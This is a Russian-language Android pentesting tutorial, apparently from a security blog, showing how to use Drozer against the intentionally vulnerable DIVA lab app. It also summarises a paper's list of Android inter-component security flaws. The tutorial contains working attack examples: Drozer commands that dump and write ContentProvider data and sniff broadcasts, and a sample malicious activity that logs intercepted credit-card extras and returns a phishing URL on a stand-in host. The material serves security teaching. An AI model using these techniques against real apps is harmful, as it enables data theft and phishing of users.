Обзор и использование Drozer

drozer

Drozer — мас­тхев в арсе­нале любого пен­тесте­ра. Это армей­ский швей­цар­ский нож для выпол­нения типич­ных задач тес­тирова­ния на про­ник­новение. Drozer поз­воля­ет получить информа­цию о при­ложе­нии, запус­тить его активнос­ти, под­клю­чить­ся к ContentProvider’у, отпра­вить сооб­щения сер­вису, в общем — все, что­бы вытащить из при­ложе­ния информа­цию или зас­тавить его сде­лать то, что нам нуж­но, через стан­дар­тные API и каналы ком­муника­ции.

Еще по теме: Внедрение кода в чужое приложение с помощью Frida

Се­год­ня Drozer счи­тает­ся уста­рев­шим инс­тру­мен­том, но он до сих пор отлично помога­ет быс­тро получить информа­цию о при­ложе­нии и его сла­бых мес­тах. Рекомен­дуемый спо­соб запус­кать drozer — исполь­зуя Docker:

$ sudo docker run -it kengannonmwr/drozer_docker

Drozer работа­ет в связ­ке с аген­том, работа­ющим на устрой­стве или эму­лято­ре, ска­чать его мож­но здесь. Его сле­дует уста­новить на устрой­ство:

$ adb install drozer-agent-2.3.4.apk

Да­лее запус­каем агент и нажима­ем кноп­ку Embedded Server вни­зу экра­на. Пос­ле это­го к сер­веру мож­но под­клю­чить­ся, перей­дя в кон­соль Drozer:

$ drozer console connect --server IP-адрес-телефона
Кон­соль Drozer
Кон­соль Drozer

В качес­тве подопыт­ного при­ложе­ния будем исполь­зовать DIVA (Damn Insecure and Vulnerable App). APK не име­ет циф­ровой под­писи, поэто­му перед уста­нов­кой его необ­ходимо под­писать, нап­ример c помощью uber-apk-signer.

Активности

Ти­пич­ный ворк­флоу Drozer выг­лядит так. Сна­чала получа­ем информа­цию об уста­нов­ленных при­ложе­ниях:

dz> run app.package.list

На­ходим в спис­ке подопыт­ное при­ложе­ние и получа­ем информа­цию о нем:

dz> run app.package.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
  Application Label: Diva
  Process Name: jakhar.aseem.diva
  Version: 1.0
  Data Directory: /data/user/0/jakhar.aseem.diva
  APK Path: /data/app/~~f-ZUZleCLc6Lvv3kYkaeww==/jakhar.aseem.diva-GXTPCSZPceqRHtEWH73f1g==/base.apk
  UID: 10423
  GID: [3003]
  Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar]
  Shared User ID: null
  Uses Permissions:
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.INTERNET
  - android.permission.ACCESS_MEDIA_LOCATION
  Defines Permissions:
  - None

За­тем выяс­няем, какие ком­понен­ты мож­но попытать­ся исполь­зовать для экс­плу­ата­ции:

dz> run app.package.attacksurface jakhar.aseem.diva

Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  1 content providers exported
  0 services exported
    is debuggable

Об­раща­ем вни­мание, что в при­ложе­нии вклю­чен флаг отладки. Далее получа­ем спи­сок активнос­тей:

dz> run app.activity.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
  jakhar.aseem.diva.MainActivity
    Permission: null
  jakhar.aseem.diva.APICredsActivity
    Permission: null
  jakhar.aseem.diva.APICreds2Activity
    Permission: null

Про­буем их запус­тить:

dz> run app.activity.start --component jakhar.aseem.diva <имя_активнос­ти>

Смысл это­го дей­ствия в том, что­бы про­верить, не тор­чат ли наружу внут­ренние активнос­ти при­ложе­ния, которые не дол­жны быть дос­тупны извне. Воз­можно, эти активнос­ти содер­жат кон­фиден­циаль­ную информа­цию.

Про­веря­ем:

dz> run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICredsActivity

Дей­стви­тель­но, активность APICredsActivity содер­жит некий ключ API, имя поль­зовате­ля и пароль. Активность APICreds2Activity содер­жит окно с полем для вво­да ПИН‑кода.

Drozer. Две активнос­ти DIVA
Две активнос­ти DIVA

Обе эти активнос­ти явно дол­жны исполь­зовать­ся толь­ко внут­ри при­ложе­ния, но по «нев­ниматель­нос­ти» раз­работ­чик забыл сде­лать их неэк­спор­тиру­емы­ми (android:exported=»false»).

Если активности не запускаются

На­чиная с Android 9 запуск активнос­тей в фоне зап­рещен. Поэто­му, что­бы Drozer работал кор­рек­тно, сле­дите за тем, что­бы он всег­да был на экра­не, а экран смар­тфо­на — вклю­чен.

Перехват интентов

Еще инте­рес­нее, ког­да прог­раммист не толь­ко забыва­ет сде­лать внут­реннюю активность при­ложе­ния неэк­спор­тиру­емой, но и работа­ет с ней не нап­рямую, а исполь­зуя широко­веща­тель­ные интенты. Допус­тим, в при­ложе­нии есть такой код, который исполь­зует широко­веща­тель­ный интент «com.example.ACTION», что­бы запус­тить активность (передав ей при этом кон­фиден­циаль­ные дан­ные):

Intent intent = new Intent("com.example.ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
startActivity(intent);

Проб­лема это­го кода в том, что любой жела­ющий может соз­дать активность, реаги­рующую на интент «com.example.ACTION», и перех­ватить передан­ные ей дан­ные. Нап­ример, мы можем написать при­ложе­ние с такой активностью в манифес­те:

<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.example.ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

В код этой активнос­ти добавим логиро­вание перех­вачен­ных кон­фиден­циаль­ных дан­ных:

Log.d("evil", "Number: " + getIntent().getStringExtra("credit_card_number"));
Log.d("evil", "Holder: " + getIntent().getStringExtra("holder_name"));

Ву­аля! Но с помощью Drozer про­делать такой трюк еще про­ще:

dz> run app.broadcast.sniff --action com.example.ACTION

Во­обще, интенты — стан­дар­тный спо­соб ком­муника­ции в Android как внут­ри при­ложе­ния, так и за его пре­дела­ми. Их мож­но исполь­зовать, что­бы переда­вать информа­цию меж­ду активнос­тями, сер­висами и любыми дру­гими ком­понен­тами при­ложе­ния.

Интенты могут быть адре­сова­ны кон­крет­ному ком­понен­ту или быть широко­веща­тель­ными. Перех­ватить пос­ледние может любое дру­гое при­ложе­ние, как в при­мере выше.

Перехват возвращаемого значения

В Android активнос­ти могут воз­вра­щать зна­чения. Эта воз­можность исполь­зует­ся, нап­ример, в интерфей­се выбора фотог­рафии для отправ­ки дру­гу или в интерфей­се выбора фай­ла. При­ложе­ние может запус­тить свою активность или активность любого дру­гого при­ложе­ния (с помощью широко­веща­тель­ного интента), что­бы получить от нее какое‑либо зна­чение. И если при­ложе­ние исполь­зует широко­веща­тель­ный интент для запус­ка собс­твен­ной активнос­ти — будут проб­лемы.

Возь­мем, к при­меру, сле­дующий код:

startActivityForResult(new Intent("com.example.PICK"), 1337);
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if(requestCode == 1337 && resultCode == 1) {
        webView.loadUrl(data.getStringExtra("url"), getAuthHeaders());
    }
}

Это код запус­ка активнос­ти с помощью интента com.example.PICK. Зна­чение, воз­вра­щен­ное этой активностью, исполь­зует­ся как URL, что­бы открыть веб‑стра­ницу внут­ри WebView. Оче­вид­но, что в дан­ном при­мере интент com.example.PICK при­меня­ется для запус­ка собс­твен­ной активнос­ти при­ложе­ния, одна­ко, как и в пре­дыду­щем при­мере, раз­работ­чик исполь­зовал для запус­ка широко­веща­тель­ный интент. Поэто­му мы можем соз­дать собс­твен­ную активность и перенап­равлять при­ложе­ние на фишин­говый веб‑сайт:

<activity android:name=".EvilActivity">
   <intent-filter android:priority="999">
    <action android:name="com.victim.PICK" />
    <category android:name="android.intent.category.DEFAULT" />
  </intent-filter>
</activity>

protected void onCreate(Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
   setResult(1, new Intent().putExtra("url", "http://evil.com/"));
   finish();
}

Ши­роко­веща­тель­ные интенты так­же исполь­зуют­ся при­ложе­ниями для выбора фай­лов. В этом слу­чае с помощью фишин­говой активнос­ти мож­но выпол­нять ата­ку типа directory traversal.

ContentProvider

ContentProvider — это спе­циаль­ный ком­понент при­ложе­ния, ответс­твен­ный за хра­нение дан­ных и пре­дос­тавле­ние дос­тупа к этим дан­ным дру­гим при­ложе­ниям. В ста­рые вре­мена (до Android 4.0) раз­работ­чики час­то делали ContentProvider’ы откры­тыми для дос­тупа любым при­ложе­ниям. Нап­ример, офи­циаль­ное при­ложе­ние Gmail име­ло откры­тый ContentProvider, пре­дос­тавля­ющий дос­туп к спис­ку писем. Это поз­воляло любому сто­рон­нему при­ложе­нию получить спи­сок пос­ледних писем Gmail, нап­рямую про­читав дан­ные из офи­циаль­ного при­ложе­ния.

Се­год­ня такой под­ход счи­тает­ся наив­ным и небезо­пас­ным. Поэто­му все, что на сегод­няшний день пре­дос­тавля­ет наружу при­ложе­ние Gmail, — это общее количес­тво неп­рочитан­ных писем, и даже эта информа­ция защище­на спе­циаль­ным раз­решени­ем. В этом лег­ко убе­дить­ся, если попытать­ся про­читать дан­ные по URI content://com.google.android.gmail.provider:

dz> run app.provider.query content://com.google.android.gmail.provider/

Permission Denial: opening provider com.android.email.provider.EmailProvider from ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0a422} (pid=15638, uid=10422) requires com.google.android.gm.email.permission.ACCESS_PROVIDER or com.google.android.gm.email.permission.ACCESS_PROVIDER

Но в дру­гих при­ложе­ниях все может быть ина­че. Вер­немся к при­ложе­нию DIVA и поп­робу­ем получить информа­цию о его ContentProvider’ах:

dz> run app.provider.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
  Authority: jakhar.aseem.diva.provider.notesprovider
    Read Permission: null
    Write Permission: null
    Content Provider: jakhar.aseem.diva.NotesProvider
    Multiprocess Allowed: False
    Grant Uri Permissions: False

Вид­но, что при­ложе­ние име­ет один никак не защищен­ный ContentProvider. Получим информа­цию об экспор­тиру­емых ContentProvider’ом URI:

dz> run scanner.provider.finduris -a jakhar.aseem.diva

Scanning jakhar.aseem.diva...
Able to Query    content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query  content://jakhar.aseem.diva.provider.notesprovider
Unable to Query  content://jakhar.aseem.diva.provider.notesprovider/
Able to Query    content://jakhar.aseem.diva.provider.notesprovider/notes

Accessible content URIs:
  content://jakhar.aseem.diva.provider.notesprovider/notes/
  content://jakhar.aseem.diva.provider.notesprovider/notes

Поп­робу­ем про­читать информа­цию по при­веден­ным URI:

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/

| _id | title    | note                                 |
| 5   | Exercise | Alternate days running               |
| 4   | Expense  | Spent too much on home theater       |
| 6   | Weekend  | b333333333333r                       |
| 3   | holiday  | Either Goa or Amsterdam              |
| 2   | home     | Buy toys for baby, Order dinner      |
| 1   | office   | 10 Meetings. 5 Calls. Lunch with CEO |

ContentProvider, по сути, откры­вает пря­мой дос­туп к базе дан­ных при­ложе­ния. Поэто­му, если он открыт для чте­ния и записи, мы лег­ко можем добавить в него собс­твен­ные дан­ные:

dz> run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes

--integer _id 7
--string title spy-soft.net
--string note 'Hi from spy'

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/

...
| 7   | spy-soft.net | Hi from spy

В ряде слу­чаев воз­можно выпол­нить SQL-инъ­екцию. Drozer спо­собен авто­мати­чес­ки про­верить при­ложе­ние на эту уяз­вимость:

dz> run scanner.provider.injection -a com.example.app

Не­кото­рые при­ложе­ния исполь­зуют ContentProvider’ы, что­бы откры­вать дос­туп к фай­лам сво­его при­ват­ного катало­га. В этом слу­чае иног­да воз­можно выпол­нить ата­ку directory traversal. Drozer поз­воля­ет про­верить и этот вари­ант:

dz> run scanner.provider.traversal -a com.example.app

Сервисы

Еще один тип ком­понен­тов при­ложе­ния в Android — сер­висы. Чаще все­го они исполь­зуют­ся для выпол­нения работы в фоне и в сов­ремен­ных вер­сиях Android обя­заны иметь икон­ку в стро­ке сос­тояния (ина­че сис­тема убь­ет сер­вис через пять минут). У при­ложе­ния DIVA нет сер­висов, это лег­ко про­верить с помощью такой коман­ды:

dz> run app.service.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
  No exported services.

Но даже при­ложе­ния с тор­чащим наружу сер­висом экс­плу­ати­ровать не так прос­то. Обыч­но сна­чала необ­ходимо дизас­сем­бли­ровать/деком­пилиро­вать при­ложе­ние, про­ана­лизи­ровать код сер­виса, а затем поп­робовать пос­лать ему сооб­щение, которое он пой­мет и обра­бота­ет.

Нап­ример, типич­ный при­мер отправ­ки сооб­щения сер­вису может выг­лядеть так:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj

Другие возможности

Крат­ко прой­дем­ся по дру­гим воз­можнос­тям Drozer.

Отоб­ражение манифес­та при­ложе­ния:

dz> run app.package.manifest com.mwr.example.sieve

По­иск при­ложе­ний, обла­дающих ука­зан­ными пол­номочи­ями:

dz> run app.package.list -p android.permission.INSTALL_PACKAGES

По­иск при­ложе­ний с ука­зан­ным UID:

dz> run app.package.list -u 1000

По­иск при­ложе­ний, спо­соб­ных отоб­ражать фай­лы с ука­зан­ным mimetype:

dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf

По­иск всех при­ложе­ний, спо­соб­ных откры­вать ссыл­ки:

dz> run scanner.activity.browsable

Отоб­ражение спис­ка натив­ных биб­лиотек при­ложе­ния:

dz> run app.package.native jakhar.aseem.diva

От­прав­ка широко­веща­тель­ных интентов:

dz>  run app.broadcast.send --action com.exmpla.PICK --extra string url https://example.com

Бонус

Ка­кие еще проб­лемы и уяз­вимос­ти мож­но най­ти в при­ложе­ниях? Их мно­жес­тво, авто­ры работы Security Code Smells in Android ICC сос­тавили под­робный спи­сок таких проб­лем. Они взя­ли 700 откры­тых при­ложе­ний из репози­тория F-Droid и про­ана­лизи­рова­ли их с помощью спе­циаль­ного инс­тру­мен­та AndroidLintSecurityChecks.

Все проб­лемы ском­понова­ны в две­над­цать катего­рий:

SM01: Persisted Dynamic Permission. В Android есть механизм, поз­воля­ющий пре­дос­тавить дру­гому при­ложе­нию вре­мен­ный дос­туп к какому‑либо URI сво­его ContentProvider’а. Это дела­ется с помощью метода Context.grantUriPermission(). Если при­ложе­ние вызыва­ет его, но не вызыва­ет Context.revokeUriPermission(), что­бы отоз­вать дос­туп, — есть проб­лемы.

SM02: Custom Scheme Channel. Любое при­ложе­ние может зарегис­три­ровать собс­твен­ную URI-схе­му, такую как myapp://, вне зависи­мос­ти от того, исполь­зует ли такую схе­му дру­гое при­ложе­ние. Как следс­твие, пересы­лать важ­ные дан­ные, исполь­зуя кас­томные URI-схе­мы, край­не небезо­пас­но.

SM03: Incorrect Protection Level. В Android любое при­ложе­ние может соз­дать свое собс­твен­ное раз­решение для дос­тупа к сво­им дан­ным. Но есть проб­лема: если ука­зать неп­равиль­ный уро­вень защиты раз­решения (protection level), оно может не сра­ботать. Если раз­работ­чик хочет, что­бы поль­зователь видел диалог зап­роса раз­решений, он дол­жен исполь­зовать уро­вень защиты dangerous или siganture, если дан­ное раз­решение дол­жно получать толь­ко при­ложе­ние с той же циф­ровой под­писью.

SM04: Unauthorized Intent. Любое при­ложе­ние в Android может зарегис­три­ровать себя в качес­тве обра­бот­чика опре­делен­ных типов интентов (intent). По умол­чанию этот обра­бот­чик будет открыт все­му миру, но его мож­но защитить с помощью сис­темы раз­решений и стро­гой валида­ции вход­ных дан­ных.

SM05: Sticky Broadcast. Любое при­ложе­ние может пос­лать дру­гому при­ложе­нию интент. Более того, оно может пос­лать широко­веща­тель­ный интент сра­зу всем при­ложе­ниям, и он будет обра­ботан пер­вым при­ложе­нием, спо­соб­ным его при­нять. Но есть так­же воз­можность пос­лать широко­веща­тель­ный sticky-intent, который пос­ле обра­бот­ки одним при­ложе­нием все рав­но будет дос­тавлен дру­гим при­ложе­ниям. Что­бы это­го не про­исхо­дило, не сто­ит исполь­зовать такие интенты, а широко­веща­тель­ные интенты луч­ше не исполь­зовать вооб­ще.

SM06: Slack WebViewClient. Ком­понент WebView поз­воля­ет при­ложе­ниям показы­вать веб‑стра­ницы внут­ри сво­его интерфей­са. По умол­чанию он никак не филь­тру­ет откры­ваемые URL, чем мож­но вос­поль­зовать­ся, нап­ример, для фишин­га. Раз­работ­чикам сто­ит либо исполь­зовать белый спи­сок адре­сов, либо выпол­нять про­вер­ку с помощью SafetyNet API.

SM07: Broken Service Permission. При­ложе­ния могут пре­дос­тавлять дос­туп к сво­ей фун­кци­ональ­нос­ти с помощью сер­висов. Зло­умыш­ленник может исполь­зовать эту воз­можность для запус­ка кода с повышен­ными пол­номочи­ями (пол­номочи­ями сер­виса). Что­бы это­го избе­жать, сер­вис дол­жен про­верять пол­номочия вызыва­юще­го при­ложе­ния с помощью метода Context.checkCallingPermission().

SM08: Insecure Path Permission. Некото­рые при­ложе­ния пре­дос­тавля­ют дос­туп к сво­им дан­ным с помощью ContentProvider’а, который адре­сует дан­ные, исполь­зуя UNIX-подоб­ные пути: /a/b/c. Прог­раммист может открыть дос­туп к сво­ему ContentProvider’у, но отре­зать дос­туп к некото­рым путям (нап­ример, к /data/secret). Но есть проб­лема: раз­работ­чики час­то исполь­зуют класс UriMatcher для срав­нения путей, а он, в отли­чие от Android, срав­нива­ет их без уче­та двой­ных сле­шей. Отсю­да могут воз­никнуть ошиб­ки при раз­решении и зап­рете дос­тупа.

SM09: Broken Path Permission Precedence. Сход­ная с пре­дыду­щей проб­лема. При опи­сании ContentProvider’а в манифес­те раз­работ­чик может ука­зать, какие раз­решения нуж­ны при­ложе­нию для дос­тупа к опре­делен­ным путям. Но в Android есть баг, из‑за чего он отда­ет пред­почте­ние более гло­баль­ным путям. Нап­ример, если при­ложе­ние дает дос­туп к /data всем под­ряд, но исполь­зует спе­циаль­ное раз­решение для дос­тупа к /data/secret, то в ито­ге дос­туп к /data/secret смо­гут получить все.

SM10: Unprotected BroadcastReceiver. Фак­тичес­ки ана­лог проб­лемы SM04, но рас­простра­няющий­ся исклю­читель­но на BroadcastReceiver’ы (спе­циаль­ные обра­бот­чики интентов).

SM11: Implicit PendingIntent. Кро­ме интентов, в Android есть сущ­ность под наз­вани­ем PendingIntent. Это сво­его рода отло­жен­ные интенты, которые могут быть отправ­лены поз­же и даже дру­гим при­ложе­нием от име­ни соз­давше­го интент при­ложе­ния. Если PendingIntent широко­веща­тель­ный, то любое при­ложе­ние смо­жет перех­ватить его и пос­лать интент от име­ни это­го при­ложе­ния.

SM12: Common Task Affinity. Ана­лог проб­лемы StrandHogg.

Об­щая рас­простра­нен­ность оши­бок
Об­щая рас­простра­нен­ность оши­бок

В работе так­же при­водит­ся мно­жес­тво ана­лити­чес­ких дан­ных. Нап­ример, сог­ласно ста­тис­тике, в новых при­ложе­ниях мень­ше дыр, чем в ста­рых. Боль­ше дыр так­же в при­ложе­ниях, которые раз­рабаты­вают более пяти человек. Ну и конеч­но же: боль­шее количес­тво кода озна­чает боль­шее количес­тво уяз­вимос­тей.

При­меры оши­бок так­же мож­но най­ти в репози­тории android-app-vulnerability-benchmarks. Он содер­жит исходни­ки при­ложе­ний с раз­личны­ми уяз­вимос­тями, каж­дое из которых снаб­жено под­робным опи­сани­ем уяз­вимос­ти и исправ­ленной вер­сией.

Выводы

Как видите, нес­мотря на поч­тенный воз­раст, Drozer до сих пор справ­ляет­ся со сво­ей работой луч­ше мно­гих дру­гих инс­тру­мен­тов для пентеста Android. Его явное дос­тоинс­тво — тек­сто­вый интерфейс, поз­воля­ющий с помощью команд выпол­нить мно­гие задачи, для которых в про­тив­ном слу­чае приш­лось бы писать собс­твен­ный софт. Недос­таток в том же — не все спо­соб­ны перева­рить такой интерфейс в 2021 году.

Еще по теме: Защита приложения от отладки

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *